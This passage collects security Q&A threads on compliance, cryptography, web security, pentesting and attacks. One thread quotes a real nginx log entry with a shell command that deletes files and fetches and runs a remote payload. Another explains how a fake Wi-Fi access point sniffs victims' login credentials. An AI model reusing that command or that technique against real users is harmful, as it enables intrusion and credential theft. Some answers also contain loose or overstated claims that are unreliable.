The U.S. government does have very specific guidelines for government agencies wanting to consume cloud services. Those cloud services must be FedRAMP certified. This is an arduous, lengthy, expensive process... and it's specifically geared toward cloud services, not managed or shared hosting.

  Per the OMB memo published on December 8, 2011, all low and moderate impact cloud services leveraged by more than one office or agency must comply with FedRAMP requirements by 2014.

FedRAMP prescribes a bunch of security controls and configuration baselines here.

FIPS (140 and otherwise) and FedRAMP are not the same thing. FIPS 140 is much more specific, and details requirements for the use of cryptographic modules, which symmetric algorithms are allowed, which hashing algorithms are allowed, etc. Using another vendor's cryptographic modules in a FIPS-compliant manner is not the same as having a FIPS certified solution. FIPS certification (The Cryptographic Module Validation Program) is also a lengthy and very expensive process whereby you must submit your cryptographic module (be it a physical hardware security module, or a software module such as a DLL file) to the government for them to review it and approve it. A cryptographic module can not be FIPS certified, even if it generates identical data as a FIPS certified module, unless it has passed the CMVP. However, you can use and incorporate other vendor's modules (such as OpenSSL, bcrypt.dll from Microsoft, etc.,) in your solution and still call it a FIPS compliant solution, or that it is operating in a FIPS compliant mode.

FedRAMP is about certifying your entire cloud solution, which is much grander in scope than just one application. FedRAMP encompasses everything from the physical security in your datacenters, to your disaster recovery plan, to how well documented your solution is, to how you conduct regular vulnerability scanning, as well as inspecting every operating system, application and server in your environment.

If you look into the security controls set forth in the FedRAMP certification program, it does mention FIPS several times. Cryptography must be employed in a FIPS-compliant manner throughout a FedRAMP-certifiable solution.

  Is it okay to host your FIPS level 1 compliant application in the cloud? How about level 2?

Yes it's OK. FIPS is always OK (and furthermore typically required) for U.S. government agencies. In my experience, FedRAMP is not very picky about FIPS Level 1 versus Level 2, etc., only that FIPS Level-something is being used wherever cryptography is used.

If your solution is all software, I think the best you are going to do is FIPS 140 Level 1, since the requirements for Level 2 and above call for physical tamper proofing, tamper evidence and other physical security measures (like that PCB coating you mentioned,) and a purely software solution can never meet those requirements. A module that is validated to level 2 or above would be something like a smart card or hardware security module that has physical attributes.

  If #1 is yes, are there specific requirements/certifications needed by the cloud host?

FedRAMP, and possibly others such as FISMA depending on which government agencies are looking to buy service from you.

  Just want to validate my assumption: it is okay to collocate at a normal facility for level 1, correct? If not, what are the requirements/certifications needed by the host? What about level 2?

There is no clause in any of the baselines that expressly forbids colocation and shared hosting, however, it's been my experience that you will need to show strong evidence of role-based access controls and sensitive accounts management, specifically when it comes to being able to disallow non-U.S. citizens from accessing the system, or even preventing U.S. citizens who are travelling abroad from accessing the system. This will probably implicitly disqualify most instances of colocation because I couldn't guarantee that the datacenter cage next to yours couldn't be rented out by Russian spies, etc.


Pentesting - best bang for your buck? (credentialed versus non-credentialed) My day to day activities consist primarily of penetration testing (white/grey/black). Throughout my engagements, I try to educate my clients on the differences of testing types. E.g., credentialed test from an internal perspective (low level user) versus a complete "zero knowledge" plug and play test. For anyone with experience in either performing the tests, engaging a pentester, what has been the best value in terms of security intelligence.

I opine, and try to sway my clients to engage in low level credentialed tests. These tests often cover zero knowledge, as I can demonstrate exploitation, and escalation with privileges, as well as without privileges. This type of testing can cover the insider threat, as well as a threat actor performing a client side (compromising) an employee's access.

Often times, I find from the results perspective, attackers are leveraging the common low hanging fruit but only after they've "client sided" an employee. "Zero knowledge" external attacks have been highly minimized, and many clients dislike web application testing as they feel it will "bring the house down" and often serves no purpose as many organizations moved their infrastructure to the cloud.

What, from a design/security/network/systems perspective, would you feel is the best value if you were engaging in these types of tests?

It depends what your goals are. If the goal is to find as many vulnerabilities and risks as possible, white box is the best approach. If the goal is "What can an attacker do given X amount of time to my application", then black box is the best approach.

We perform both at our clients and the main difference on when they want what generally depends on what type of resilience they are testing. The white box approach is what we commonly will do for continious and structured testing of applications. The goal here is not to find a single vulnerability and then close shop once you have pawned their systems. It is to provide as much coverage as possible and discover as many vulnerabilities as possible, going from good practice (CSP and HSTS headers) to proper vulnerabilities like XSS.

The latter we use more during engagements where the client wants to test their incident response or detection capability. The focus is on getting in by any means nescessary using any information found in the wild.

In the end it also comes down with what type of client you are dealing, but is also your job to inform your clients about the reason why they need this type of testing. I always tell them that if it is a first time thing the chances are we will discover a lot of things. It's important to make them and their management understand this is not a bad thing and that it is something they can use as an opportunity to improve or request more budgetting to attract more people with security related skills. The client still decides, you can inform them on what you suggest they need, but if they have made up their mind you need to respect that as well, it's their money after all.


Sending Encrypted Messages with Hybrid RSA, AES and HMAC SHA-256 Is this a Secure strategy for sending a large Encrypted Message using Hybrid RSA 2048, AES 256 and authenticated with HMAC SHA-256:

Given the Alice already has Bob's RSA Public Key, Alice:

Generates a new 128bit IV (strong PRNG)
Generates a new AES 256bit/CBC/PKCS7 Crypt Key (Kc)
Generates a new AES 256bit/CBC/PKCS7 Auth Key (Ka)
Encrypts her Message + Timestamp with (Kc) and IV => (M)e
Authenticates IV+(M)e with (Ka) using HMAC SHA-256 => IV+(M)e+Tag
Encrypts (Ka)+(Kc) with Bob's RSA Public Key padded with OAEP => (Kc+Ka+P)e
Authenticates (Kc+Ka+P)e with (Ka) using HMAC SHA-256 => IV+(Kc+Ka+P)e+Tag
Sends Bob RSA Encrypted IV+(Kc+Ka+P)e+Tag and AES HMAC-256 Message IV+(M)e+Tag

Bob then proceeds to:

Extracts IV from IV+(Kc+Ka+P)e+Tag
Checks IV against nonce cache, rejecting messages with repeated IV's
Extracts and Decrypts (Kc+Ka+P)e with his RSA Private Key => (Ka)+(Kc)
Verifies IV+(Kc+Ka+P)e+Tag with (Ka), rejecting invalid messages
Verifies IV+(M)e+Tag with (Ka), rejecting invalid messages
Decrypts IV+(M)e+Tag with (Kc)
Extracts Timestamp and Message
Verifies Timestamp isn't older than Max Request Age, rejecting expired messages

Basically would like to know if there are any obvious weaknesses with the above Hybrid RSA/AES/HMAC SHA-256 approach or anything anyone would do differently?

The above strategy has been revised to include @puzzlepalace's feedback of creating separate AES keys for Encrypting and Authenticating instead of deriving them from the SHA-512 hash of the master key.

Any other feedback or suggestions for improvements are welcomed!

I'll step by step and then overall crypto system, seems most logical to me.

  Generate a new AES 256bit/CBC/PKCS7 Master Key (Km)
  Generate a new 128bit IV (strong PRNG)

CBC is fine here as there isn't any sort of oracle the attacker would have access to and bit-flipping attacks are ruled out by the tag. Random IV is correct, 256 bits is more than enough for key size.

  Generate the SHA-512 Hash of (Km) => (Hm)
  Splits (Hm) into Crypt Key => (Kc) and Auth Key => (Ka)

This should be fine. One comment, I'm actually not familiar with the master secret being expanded via a hash (so if this is considered best practice please correct me), is there any reason you don't just generate two 256 bit keys? I'd say unless you really need to conserve packet sizes on the network why not just generate two 256 bit keys, one for AES and one for the HMAC? It's only 256 bits more on the network.

  Encrypts her Message + Timestamp with (Kc) and IV => (M)e
  Signs (IV)+(M)e with (Ka) using HMAC SHA-256 => (IV+(M)e+Tag)

This is good, Encrypt-then-MAC is IND-CCA (i.e. the best generic construction). A nit-picky note: a HMAC is not a signature, but rather a tag. (a tag provides integrity and authenticity, a signature also provides nonrepudiation).

  Encrypts (IV+Km) with Bob's RSA Public Key padded with OAEP => (IV+Km+P)e
  Sends Bob RSA encrypted AES key (IV+Km+P)e and Signed AES Message (IV+(M)e+Tag)

OAEP is a good choice for RSA padding, and is IND-CCA, I see no issues here.

It looks to me like both your symmetric and asymmetric schemes are not susceptible to a chosen ciphertext attack, which is very secure. As such I don't think having the same IV encrypted in both the RSA and AES ciphertexts is an issue. Especially since the IV does not even have to be secret in CBC mode (it just should not be predictable or reused!), and so could be sent in the clear (perhaps by appending the plaintext IV to the AES ciphertext and computing the MAC of that). Then it also would not have to be encrypted under the recipients public key.

Hope that helps, happy to clarify or expand on anything you have questions about!


Firewall Reviews - What is in your Toolbox? In the vein of the questions about forensics, I'd be interested to hear what tools/techniques people use on Firewall reviews, both in terms of periodic reviews as an auditor or consultant, or maintaining firewall rulesets on the operational IT side of things.

For Firewall rule-set and device config reviews I really like Nipper.

Easy to use, but still need to be an experienced security professional to work the results as it can create a lot of noise. The latest version is good at not reporting some of the false-positives that the earlier versions did, which does make life interesting.

Only downside is they have recently gone more commercial so will need to see how the cost model works out.


How secure is SSL private key in AWS ELB service? We host a cluster of microservices on AWS. The cluster has a public-facing gateway that uses an Elastic Load Balancer to terminate SSL traffic. The certificate is issued by AWS Certificate Manager (ACM).

One of our clients is concerned about the wildcard: they say that in the unlikely but not impossible event of leaking the SSL private key, the attacker could create a website with an arbitrary subdomain using this certificate.

While this is certainly true, the question is how likely is this to happen? I've read ACM Private Key Security by AWS, which explains how the private key is stored and handled. It is stored in KMS, which is sufficiently secure, as it stores all cryptographic keys in certified HSMs (this is explained in KMS Cryptographic Details whitepaper). However, I couldn't find any information about the security of ELB service, who gets the decrypted SSL private key as a service, integrated with ACM. Is there any official documentation from AWS on it or any other reasoning on why this approach is secure enough?

Of course, the concern could be resolved by replacing the wildcard a fixed list of FQDNs, but it would create unwanted maintenance overhead in case a subdomain is added or removed (this happens quite often).

The risk of *.domains is common in situations where HSMs are not being leveraged. Any other solution is storing the private key on a hard disk which can be recovered through a multitude of means; even when the OS GUI indicates it is not possible. However, that's not how you have your system configured which is awesome.

HSMs are a oneway certificate management solution. You can generate keys within the HSM and you can ask for signing from HSMs but you cannot retrieve your key from the HSM. Even better, a physical attacker cannot even produce a credible threat against an HSM as they are designed to literally fry themselves if any physical tampering is attempted. I have known some that were designed to fry if the ground shook to hard.

As such, a *.domain key within an HSM is very secure. Your private key will always be protected and cannot be exposed. The only known attack against a private key would be if the HSM happens to be running a known impacted infeneon random generator chip. You could even test your pubic key here to determine if your private key is at risk:

https://keychest.net/roca#/

For what its worth, I highly doubt Amazon would keep any HSMs in rotation that were known to contain a vulnerability that totally defeats the HSM purpose. It would not be a good business model for the world's premier cloud solution.

In summation, because you are using an HSM to generate and store your key, your SSL key is safe. However, if you chose to generate your own key off of the HSM for any purpose, you may risk theft of your key and allow attackers to create an approved sub domain as you were initially warned.


Tracking Cookie Security Risks? Today I sat the 2017 Higher Computing exam paper. One of the questions was to name a security risk of tracking cookies. One mark.

I just rambled a little about targeted advertising and monitoring visited pages in an attempt to get the mark, but I wouldn't consider this a security risk.

Just to satisfy my own curiosity, can anyone actually think of a security risk from tracking cookies? I'll try to remember to update this with what the valid answers were, but they won't be publicly available for months.

It's an information disclosure vulnerability.  The main risk that I'm aware of is that it allows users to be identified.  The NSA uses such information to target users for QUANTUM attacks.  You touched on another one which is profiling previously visited sites.  An attacker could use this information in a social engineering attempt.  I agree with you, it is a very low security risk.


Preventing malicious usage from users with access tokens So I have a web page running a JavaScript application, and a web service that the application makes HTTP PUT requests against. The service uses access tokens to verify the user’s identity, but now I’m scratching my head about how to prevent authorized users from using the API inappropriately. I.e. what’s to stop a malicious user from simply inspecting outgoing traffic in their browser, copying the service url and their access token, and using it to spam calls against the service?

Is there a standard way of preventing this sort of misuse? I thought I'd be able to hide or encrypt the user's tokens so they can't see them, but it doesn't seem like that's possible.

Cheers!

I.e.  what’s to stop a malicious user from simply inspecting outgoing traffic in their browser, copying the service url and their access token, and using it to spam calls against the service?

Nothing. A user has full control over the client application. You can't stop them from extracting the token, modifying the JS code or just building their own custom client. Even if you heavily obfuscate the code, they can eventually capture the requests to the API and replay them later.

  Is there a standard way of preventing this sort of misuse?

The common way to protect APIs from abuse is rate limiting. E.g., you can limit the allowed number of requests per user for a certain time frame or establish limits based on IP addresses. However, you can't prevent them from using the API from outside your app.

Also see:

How do I secure REST API calls?


Compiling with GCC retpoline flags As of version 8 (later backported to 7.3), GCC has added retpoline support [0]. While I understand that it is intended[citation needed] for use in kernel patching for Spectre (ie: [1][2]), that does not prevent normal developers from using those flags.

As such, should I use the flags for retpoline (-mindirect-branch, -mfunction-return, and related)?

For example, I have written a cryptographically-secure password generation program in C [3]. When I compile using -mindirect-branch=thunk -mfunction-return=thunk, the resulting binary is different than without using those flags, presumably from the switch between call and jump to call and return thunk. Is there any reason for doing this, or any benefits from a security perspective?

There is a benefit from doing this. These options enabled retpoline to mitigate Spectre V2. This is important in programs which handle sensitive or confidential data where the variable performance impact is not a concern. The binary is different because return trampolines are being added to the code.

The second flag, -mfunction-return, is required on Skylake+ processors as they are additionally vulnerable to attacks against the branch target buffer (BTB) that return prediction may use as a fallback.


Import Public Private key pair to a Keystore I have created a public private key pair using the KeyPairGenerator class in Java. From this key pair I have generated the CSR request using the PKCS10 class which has been sent to a CA for verification. The question is how do I load this public private key pair into a keystore? I cant use KeyStore.SetKeyEntry as it requires a certificate parameter along with the private key.

I thought that I would have to wait for the CA to send back a certificate which should then be used for loading the key pair. But If I create the keystore using the keytool command -

keytool -genkey -keyalg RSA -keysize 2048 -sigalg sha1withRSA -alias aliasname -validity 365 -keystore keystorename

and then load this keystore into the Java keystore class, the keystore object contains a privatekeyentry and a CertificateEntry. How is this possible without obtaining a certificate back from the CA.

When creating a keystore with the Java keytool a keypair is generated and the certificate is signed with the private key itself. Therefore you have a self signed certificate in this case.

You can check this with the command

keytool -list -v -keystore <keystore>

The first certificate shown should have the same Owner and Issuer.


Why request shell commands from nginx? I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs:
170.81.46.70 - -  "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;sh+/tmp/jaws HTTP/1.1" 301 169 "-" "Hello, world"
93.157.62.102 - -  "GET / HTTP/1.1" 301 169 "http://[IP OF MY SERVER]:80/left.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0"
218.161.62.117 - -  "GET / HTTP/1.1" 400 157 "-" "-"
61.96.64.130 - -  "GET / HTTP/1.1" 400 157 "-" "-"

The IPs are, needless to say, not expected for this server.
I assume these are automated hack attempts. But what is the logic of requesting shell commands from nginx? Is it common for nginx to allow access to a shell? Is it possible to tell what specific exploit was attacked from these entries?

Is it common for nginx to allow access to a shell?

No.
Is it common for people to create/configure websites that allow access to the shell?
Kind of. Unfortunately.
Does it cost nothing to check?
Yes.


Is physical tape backup better than disk to ensure integrity When assessing tape backups vs online disc backups, which of them ensure better protection from integrity incidents.

For example, if the system is compromised by attacker or virus or malware and I know the date when it happened, i can roll back data backup from tape before that incident and it will be fine. In online and disc backup solution I can not be so sure, because the backups also can be harmed as they are available from the same systems where the malware,virus etc lives.

So what do you think about tape vs disc? Particulary in financial institutions.

These days it doesn't actually make a huge difference. Or rather, it depends very strongly on your backup plan, disaster recovery plan, your RPO and RTO and the scenarios you expect to want to recover from.

In any modern environment; you're likely to also have some sort of SAN. Your backup solution should interact with the SAN, but not the rest of the network; this allows you to back up data without exposing your backup solution to risks associated with the hosts you're backing up (this is a generalisation).

The decision between disk and tape should come down to your environment and your requirements. If you need to store your data for a long time: tape, properly handled can last decades, so as long as you test their integrity every ~10 years, you should be pretty safe. It is cheaper per GB (in the order of something like 90%), and the principles behind storage and retrieval are well understood. It is however, very, very slow compared to disks.

Disk can potentially be always available, it is a lot faster and lends itself to replication via WAN/etc. - but you generally have to leave them on and running to verify their integrity, and buying more disks can be a limiting factor if you're keeping your data for a good amount of time (how many fit in your array?).

In most environments, you have a combination of disk and tape; certainly for environments with any sort of compliance overhead. Disk backups deal with replication and hot site DR, tape deals with historic backups and long term storage.

To answer the question:

  Is physical tape backup better than disk to ensure integrity?

It depends on how long you're storing, your backup cycle, and what you're backing up for (will you need the data in a hurry?).

  So what do you think about tape vs disc? Particulary in financial institutions.

I think any serious environment will likely have both. Particularly financial institutions that require high availability and minimum downtime - if their server room floods, you'd expect them to be up at Site B very quickly (so, from disk), and if they need to dig up accounts from 30 years ago, I'd expect them to be able to by going to their tape library.


How to see when a HSTS domain is about to expire? We have a customer who claims his site (which we host) is under HSTS, but we cannot confirm this. I told him to open that chrome page chrome://net-internals/#hsts and query for his domain, and indeed he gets a record with a dynamic_sts_observed of 1466233582 which is 2016-06-18 07:06:22 UTC. At this time actually, the customer moved to us and it's likely he had HSTS before.

I guess there is no real reason to clear that "for the web", but at least, is there a way to see when the HSTS is supposed to expire?

I can only hope it's not in the year 2021...

HSTS data is kept by each web browser.

When a request is made to a domain that implements HSTS, the response headers will contain a Strict-Transport-Security header that notes the maximum age of the record and optionally some other HSTS-related values.

This maximum age effectively gives a time-to-live starting at the time when the response is received.

This is illustrated, though not explicitly spelled out, by RFC 6797 section 11.2 (non-normative), which states:

  The "constant value into the future" approach can be accomplished by
  constantly sending the same max-age value to UAs.

and

  The "fixed point in time" approach can be accomplished by sending
  max-age values that represent the remaining time until the desired
  expiry time.  This would require the HSTS Host to send a newly
  calculated max-age value in each HTTP response.

So if a domain has used HSTS in the past, then in a situation where the HSTS max-age has not been changed previously, the earliest time when no client can be expected to rely on old HSTS data is the time of the last request that returned HSTS data, plus the time that was stated in that HSTS data at that time. If the HSTS max-age has been lowered, then these time periods form sliding windows; that which ends last is the earliest time when no client can be expected to rely on old HSTS data. This is a consequence of one of the requirements in section 8.1.1 (normative):

  A Known HSTS Host is "expired" if its cache entry has an expiry date
  in the past.  The UA MUST evict all expired Known HSTS Hosts from its
  cache if, at any time, an expired Known HSTS Host exists in the
  cache.

On any request, if the response is received over a secure transport and includes HSTS data, then as stated in section 8.1, the client UA must update its list of known HSTS hosts (normative):

  If /.../ the UA MUST [either]: /.../

  Update the UA's cached information for the Known HSTS Host if
  either or both of the max-age and includeSubDomains header field
  value tokens are conveying information different than that already
  maintained by the UA.

  The max-age value is essentially a "time to live" value relative
  to the reception time of the STS header field.

As a consequence, turning on HSTS is effectively a promise to keep offering valid HTTPS for no less than the duration of the max-age HSTS parameter, counting from the moment of the response.

As a further consequence, there is no fixed "expiration" date and time for HSTS data unless the server uses the "fixed point in time" approach described non-normatively in the RFC.


Responding to a coordinated attack against financial transaction systems Imagine a coordinated attack by a large and motivated hacking group, that results in a nation-level compromise of the financial systems we take for granted: credit card payments, accounts at the top banks, the ACH system etc.

What remediation strategies could be employed after the public outcry, as individuals become financially frozen, illicit transactions remain uncorrected, and trust in financial transactions drops to zero, to prevent (or at least recover from) total chaos?

This is one of the scenarios countries practice, with joined up activity between government, financial services, telcos, utilities etc.

These simulations happen reasonably frequently. Read up on Waking Shark 1 and 2 for some of the UK's simulations and for the information on it that has been made public.

It would not make sense to publish detail of mitigation or remediation strategies here, as a savvy attacker would then build them into their attack plan.


Is it safe to use session to check if the user is logged in? I searched "how to check if user is logged in" and most of the answers that I found (on Stack Overflow) are to use PHP sessions. My questions are:

Should I solely rely on PHP sessions to check if the user is logged in?
Should I solely use database every time I check if the user is logged in? (This is what I am using right now.)
Should I use them both?

Are there any vulnerabilities/attacks that I need to be aware of?

What would be your plan otherwise? Sessions are merely a way to denote that a user has recently authenticated successfully, so you don't have to keep asking them for their password on every request.

You ask if you should also check the database. If you aren't checking the database, how are you verifying the provided session token is valid?

The most common attack against sessions is session stealing. The most common preventive measures are https on every connection that includes a session, and automatically expiring sessions (ideally not often enough that users complain) so a stolen session is only useful for a limited time.


How does this header handling work with CloudFlare? Assuming I have my website which uses CloudFlare, can I set the X-Forwarded-For with another IP so it gets forwarded to my server?

I'm trying to do it with a tool and the website prints the IP I've set with X-Forwarded-For. How does this work?

From what I understood, it's pretty simple:

  X-Forwarded-For

  X-Forwarded-For is a well-established HTTP header used by proxies,
  including Cloudflare, to pass along other IP addresses in the request.
  This is often the same as CF-Connecting-IP, but there may be multiple
  layers of proxies in a request path.

  Two possible outcomes.

  First, if there was no existing "X-Forwarded-For" header in the
  request sent to Cloudflare, then the header would have an identical
  value to the CF-Connecting-IP header, like this:

  "X-Forwarded-For: A.B.C.D"

  where A.B.C.D is the client's IP address, also known as the original
  visitor IP address.

  Second, if there was an "X-Forwarded-For" header present in the
  request sent to Cloudflare, Cloudflare appends the client's IP to its
  value, as the last in the list.

  "X-Forwarded-For: A.B.C.D[,X.X.X.X,Y.Y.Y.Y,]"

  where A.B.C.D is the client's IP address, also known as the original
  visitor IP address. X.X.X.X and Y.Y.Y.Y in this example are IP
  addresses along the route in the header value.

when you don't add the X-Forwarded-For header, CloudFlare will implicitly add it with the visitor's real IP address.

When you manually add with that header to your request another IP, the IP will be correctly spoofed in condition that Forwarding-For option is allowed from your server, and you'll be a trusted forwarder. To block X-Forwarded-For you can use iptables, or other.

In some cases, this header can be relevant to website's security.

  X-Forwarded-For HTTP header should not be used for any Access Control List (ACL) checks because it can be spoofed by attackers. Use the real IP address for this type of restrictions.


Heap Spray in Documents I was watching Kevin Mitnick demonstrate the results of an exploit via Heap Spray in a PDF https://www.youtube.com/watch?v=0EKTCg7yQ_Y and was wondering what exactly is going on in the PDF and whether there where any resources to replicate what he did?

My Google skills are lacking because each time I search for Heap Spray PDF, I get PDFs about all variations of heap spray including some gardening tips!

Search engines
Around 2:19 you can see the file name in the top of the pdf reader. Putting this between double quotes let's the search engine search for that exact phrase:
Google
I also tried Bing and Duckduckgo, but they don't give anything either.
Meta search engines
If we try meta search engines (special search engines that combine the results of multiple normal search engines):
Dogpile
I also used Excite and Deeperweb, but they don't result in anything either. Besides using the exact phrase method, I used the following:
"inurl:no inurl:malware inurl:here filetype:pdf"
(without double quotes), but that also gives nothing. Because of this I think an exact copy of the document he uses isn't available on the internet.
Let's mess around
Wikipedia tells us that heap sprays can be implemented using JavaScript and/or images. Both of which can be used inside a pdf file. If you're really interested, you could search for general tutorials on heap spraying and on using JavaScript inside pdf documents and try something out yourself.


can a fake AP have password? I cannot speak English well, sorry.

What happens if we create a fake AP with linset on kali linux and we disconnect the target. He would then connect to our AP and when he wants to go to a site he will see a fake page that we created where we display the message: "please enter your wifi password"

But I think that is a kind of useless. If we could put the password on the fake AP, then what? I mean when target wants to connect to fake AP in the list of wifi, at that time it says "Password is required" without the fake page. He would enter his password and we see the password (a little bit like sniffing).

Editor's Note:
It is possible I have misrepresented the OP's question. Please stand by while the languages sync.

You are assuming that the purpose of a fake AP is to collect the password of the real AP. That is incorrect. The purpose of the fake AP is to get the target's password to websites, like their email, bank, etc.

You disconnect the target from the real AP, connect them to you (without password), then as they go to their websites, you "sniff" their credentials.


What is a more secure network topology, star or mesh? I am studying for the CCNA and I touched on the topic of star (client-server) vs mesh (p2p) networks. I read in some articles that one of the advantages of a mesh network is the level security and privacy it provides, but did not mention the same for the star networks. It was more of a stated fact, rather than an explanation, so I was wondering if one of these network topologies is really less secure than the other.

Could someone please explain if there is in fact a more secure/private network topology. If the answer is yes, please give some reasoning as to what makes each one more/less secure.

EDIT:
My thoughts about security/privacy is regarding what packets can be seen across the network. In a star topology, packets are sent through the router, and you can sniff these packets using wireshark even if they are not intended for your machine.

Using a mesh topology, is data still being broadcasted for all machines to see? Here is a situation: there are 3 nodes in this mesh network. Each node has a direct connection to eachother. My machine is node 1. Node 2 wants to send information to node 3. Instead of going through the router, and the packets being visible to the whole network like in a star setup, can node 2 send information privately to node 3, without my machine being able to see what information was sent over wireshark? Hope this is a better, more generic example.

Some ideas:

For monitoring a star network might be more convenient because it is sufficient to monitor the central nodes.
For damage mitigation a mesh network might be better because there is no single point of failure like in a star.
For privacy a mesh network might be better because usually in these all clients are assumed to be equal so there is no server to authenticate clients against and clients might just be replaced by seemingly different clients.

The statement in your material was probably made with some ideas about what mesh and star networks are used for in the mind. If the precise definition of star and mesh networks supports these claims depends on the definitions you are using.

I hope my examples give you an idea why people might have made these claims, though.


Deploying vulnerable web application online I am deploying a vulnerable web application for students (about 100) in a university, that they can test online and am collecting all the traffic for research purposes.

I am deploying this machine on an ESX hosting other machines, and am concerned about the security issues involved.

Any recommendations/links/tips available will be great.

I suggest you put them on a LAN and your students can surf to them through a VPN setup. It's a lot safer than putting them just on the internet. If you just put them on the internet, you get attention from non-students as well.

You answered your question yourself, a vulnerable application on the internet.

Ok so you need to bear in mind:

jail applications, do not let them be able to even see other folders.
Partition your hard drive so they can only fill a folder where they would have access with an exploit, otherwise they might crash the system
use least privileged principle
Watch out with applications being able to write stuff (I know for instance that with sql injection in mysql one can create a file that generates a php shell)
Monitor and log everything
Limit upload and download
Firewall the machine so they can not set up an email spambot
Limit memory and cpu time
Separate this network completely from your own network
Firewall: whitelist instead of blacklisting


Does hosting an http->https redirect let http basic auth leak? I was just pondering how http basic auth is sent with every request, I often wish to use http-to-https redirects when possible for the nicer user experience (Have we gotten to the place of browsers trying https by default without htst yet?); though it was occuring to me that if a particular resource were using http basic auth, and also had a an http port open- it isn't unthinkable that http basic auth credentials might be sent there as happens with humans handle security measures with their usual level of grace.

I would love to be told "no, no reasonable browser, tool or software developer would submit basic auth over bare http anymore" and that prevention was baked in as to require undue effort to bypass. but I'm thinking http basic auth resources should just not have port 80 httpd's available to humans whatsoever.

This is likely browser-dependent as it is related to a password manager component which is not standardized. It is also 3rd party software dependent as some password managers are provided by 3rd parties.

I have tested it on Firefox 52 ESR using a built-in password manager, and it uses schema as part of the authentication query. Thus if you stored credentials using https:// scheme, they will not be submitted with http:// schema - and vice versa.

Chromium 63 has exactly the same behavior.

Note that it depends on scheme, not port - you can have https://yourdomain:80 or http://yourdomain:443


Reverse tabnabbing: why not redirect the user in the new tab itself instead of the parent tab? I have recently been reading about reverse tabnabbing, where a child window can change the url of the parent window if it has access to window.opener (which it has by default unless you explicitly disallow it)
In this case the phishing attack is to change the parent tab url and present a similar UI as some trusted website to get user credentials and assume that user might not be able to notice that the url has changed.
I would like to understand why can't this happen in the child window itself ? Agreed that attention wise there are more chances that user would pay less attention to the parent window after the child window is opened, but after sometime, when the user has not been looking at either of the tabs, wouldn't it be similar to just change the url of the child window instead of the parent window ?
Are there any other security concerns that do not allow this?

Tabnabbing is when a malicious website that looks like a normal website (say, a blog), after some time, redirects itself to a phishing website that looks like some trusted website. For example, a blog article might redirect itself to a fake Facebook login page. This attack is only likely to be effective when you have lots of tabs open in your browser and you hardly know why, so you can easily be confused.
Reverse tabnabbing is more dangerous, because it can work even if you only have one tab. In reverse tabnabbing, a vulnerable website contains a link to a malicious website. The malicious website will open in a new tab, and then redirect the parent tab (the vulnerable website) to a malicious lookalike. As a result, while you are concentrating on the content of the site in the child tab (for example a blog post), the other tab (the parent) will magically become a phishing site.
So reverse tabnabbing is much more effective because it actually targets a specific website in a specific tab that is likely to be trusted by the victim. In tabnabbing instead, the attacker needs some good luck in general. You asked: why doesn't a child tab just redirect itself instead of redirecting the parent? Because, whenever you can, it's always better to choose reverse tabnabbing over plain tabnabbing.


Can any asymmetric algorithms work with only a key-sized amount of randomness? With 397 rolls of a fair 6-sided die (not my favorite use of time, but certainly not infeasible), I could generate more than 1024 random bits. Could I use those bits to generate a keypair that could then be used in encryption without ever touching a (p)rng again?

Assuming your dice is fair, each dice roll yields around 2.585 bits of entropy. You could use this to generate strong key-material.

Generating asymmetric keys is however a mathematical process. Both RSA and DSA key generation involve selecting primes. So you can't approach the process with a huge random number in hand and expect to be able to use it as-is.

There are opportunities to 'mix in' your high-entropy dice-material during the key generation process, namely when selecting your primes and encryption exponent in RSA, or when selecting the primes or private secret in  DSA.

You would not need to generate so much however, a 1024 bit RSA key holds around 80 bits of entropy;

  the security available with a 1024-bit key using asymmetric RSA is considered approximately equal in security to an 80-bit key in a symmetric algorithm

So you would only need 80 bits of entropy to generate a 1024 bit RSA key. That is to say, that if you consumed as much randomness as possible during every stage of key generation, you would find that you had used up around 80 bits of dice-material by the time you had finished generation.


Ajax and CSRF protection Without going into too much details I have a site which is 100% Ajax. All requests to the site (both GET and POST) are done via Ajax. Now I have to implement CSRF protection, and all the solutions I came across boil down to sending a CSRF token in the headers, but most of them get this token from either HTML or a cookie that came with the GET request.

Now as my site is 100% Ajax and it doesn't reload. I wonder if I could, before each POST request, make a GET request to the server to get token and then submit it in the headers along with the POST request, for example

Submit GET request to aaa.com/get-csrf-token to get the token and then submit that token along with the request in the headers, if someone from another site makes a GET request to aaa.com/get-csrf-token and the server returns a token, then as far as I know they are still not able to read that value.

As the token is generated on a per session basis, I can simply check that the submitted token is the same token I have in the memchache which is associated with that session.

Could someone tell me if this would work?

Yes, you could do this.  This should be fine.  It is a reasonable defense against CSRF.

Do make sure that side-effecting actions can only happen via POSTs (never via  GET), and that all POSTs check for the presence of the token.  Also, make sure you generate the token as a cryptographically-strong pseudorandom number (e.g., using CryptGenRandom(), /dev/urandom, SecureRandom, or similar) and store it in session state.

I don't know if this has any benefit over, say, cookie double-submission -- but you could do it, and it should protect against CSRF successfully.


Secure login form from unsecure site We have two sites, app.company.com and www.company.com. Right now, users are trained only to enter their login credentials on app.company.com. Both sites use SSL. The app.company.com uses CSRF and we actively scan for security vulnerabilities. www.company.com, hosted at a separate hosting company, is not treated with the same level of care because there's no customer data on it.

Now, we'd like to be able to present a login form on www.company.com which submits to app.company.com, so the login form can be more easily skinned; colours changed, graphics inserted, that sort of thing. But we'd like to do this securely. I can't immediately see a secure way of doing so.

The closest I can think of is to have an IFRAME, but even that appears to be vulnerable to clickjacking. Additionally, if www.company.com was compromised, there'd be nothing stopping them from just replacing the IFRAME with a regular form and capturing the form contents.

So, my question is this. Is there a way to allow users to submit their username and password from an unsecure site without compromising security?

Is there a way to allow users to submit their username and password from an insecure site without compromising security?

No. As you realized yourself in your question the site could be compromised and everything replaced. And this could be done in a way that the user is not aware of this.

Training the users to trust such an insecure site is a bad idea because not only the login credentials could be grabbed but the trust in this site could also be used in social attacks. For instance the site could claimed that a plugin or browser update is needed to continue and thus make the user install malware.


Does Lawful Interception of 4G / the proposed 5G provide a back door for hackers as well? A common saying among people in the field of cryptography and security is that when providing a back door to law enforcement, you also provide a back door for hackers.

I was trying to examine the implementation of Lawful Interception from 4G and the proposed implementation in 5G and to me it looks secure. The only way for a hacker to gain information that they shouldn't would be if they knew the private key of the base station.

If we assume that the private key of the base station is secure, what could a hacker do that they could not have done without Lawful Interception being implemented?

Without access to the key, then the problem for attackers is the same as if there was no backdoor key: the attackers would have to break the encryption itself.

But ...

